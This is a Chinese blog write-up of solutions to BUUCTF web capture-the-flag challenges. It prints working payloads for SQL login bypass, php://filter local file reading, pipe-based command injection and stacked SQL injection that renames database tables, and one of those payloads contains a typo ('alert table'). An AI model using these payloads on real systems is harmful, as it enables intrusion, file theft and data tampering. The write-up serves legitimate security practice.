BUUCTF_web(持续更新中)

[极客大挑战 2019]EasySQL

直接使用万能密码
在这里插入图片描述

[HCTF 2018]WarmUp

  • 查看源码
    在这里插入图片描述
  • 访问source.php
    在这里插入图片描述
  • 根据代码提示,访问hint.php
    在这里插入图片描述
    根据提示,我们知道flag在ffffllllaaaagggg文件中。
    在这里插入图片描述
  • 源码审计
 <?php
    highlight_file(__FILE__);
    class emmm
    {
    
    
        public static function checkFile(&$page)
        {
    
    
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
    
    
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
    
    
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
    
    
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
    
    
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
    
    
        include $_REQUEST['file'];
        exit;
    } else {
    
    
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

[极客大挑战 2019]Havefun

  • 查看源码
    在这里插入图片描述
  • 构造url
    在这里插入图片描述

[ACTF2020 新生赛]Include

  • 点击tips
    在这里插入图片描述
  • 出现flag.php,猜测文件包含漏洞,此时要查看此文件,
    在这里插入图片描述

重要的知识点——PHP封装协议:
php://filter/read=convert.base64-encode/resource=xxx.php php://filter
是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取;根据名字filter,可以很容易想到这个协议可以用来过滤一些东西;
使用不同的参数可以达到不同的目的和效果: resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。 必选
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选 write=<写链的筛选列表>
可以设定一个或多个过滤器名称,以管道符(|)分隔。 可选 <;两个链的筛选列表> 任何没有以 read= 或write=作前缀
的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

  • php://filter协议,用base64编码的方式来读文件flag.php;这时页面会显示出源文件flag.php经过base64编码后的内容,然后经过base64解码就可以看到flag;
  • payload: /?file=php://filter/read=convert.base64-encode/resource=flag.php
    在这里插入图片描述
  • base64编码后的内容为:PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MDJmMjA4YWItOTE1Zi00MDNjLWE3ZGYtZGRlMDkyNDU5MjAxfQo=
  • 使用解码工具解码
    在这里插入图片描述

[ACTF2020 新生赛]Exec

查看此文件的目录:127.0.0.1|ls
在这里插入图片描述
查看上级目录127.0.0.1|ls /
在这里插入图片描述
查看flag:127.0.0.1|cat /flag
在这里插入图片描述

[强网杯 2019]随便注

  • 输入1
    在这里插入图片描述
  • 输入1’,报错说明存在sql字符型注入
    在这里插入图片描述
  • 使用order by判断列数为2
    在这里插入图片描述
    在这里插入图片描述
  • 尝试使用union select,但是报错了
    在这里插入图片描述
  • 使用堆叠注入

Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行。而在真实的运用中也是这样的,
我们知道在 mysql 中, 主要是命令行中, 每一条语句结尾加; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做
stacked injection。

  • 查数据库
1';show databases;#

在这里插入图片描述

  • 查表
1';show tables;#

在这里插入图片描述
查出两个表,1919810931114514words

  • 查两个表中的列
1';show columns from words;#

在这里插入图片描述
注意:表名为数字时,要用反引号包起来查询。

1';show columns from `1919810931114514`;#

在这里插入图片描述
发现表中有flag字段,接下来我们需要思考的就是如何查到flag中的内容。

  • 通过 rename 先把 words 表改名为其他的表名。
  • 把 1919810931114514 表的名字改为 words 。
  • 给新words 表添加新的列名 id 。
  • 将 flag 改名为 data 。
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_52385170/article/details/127289456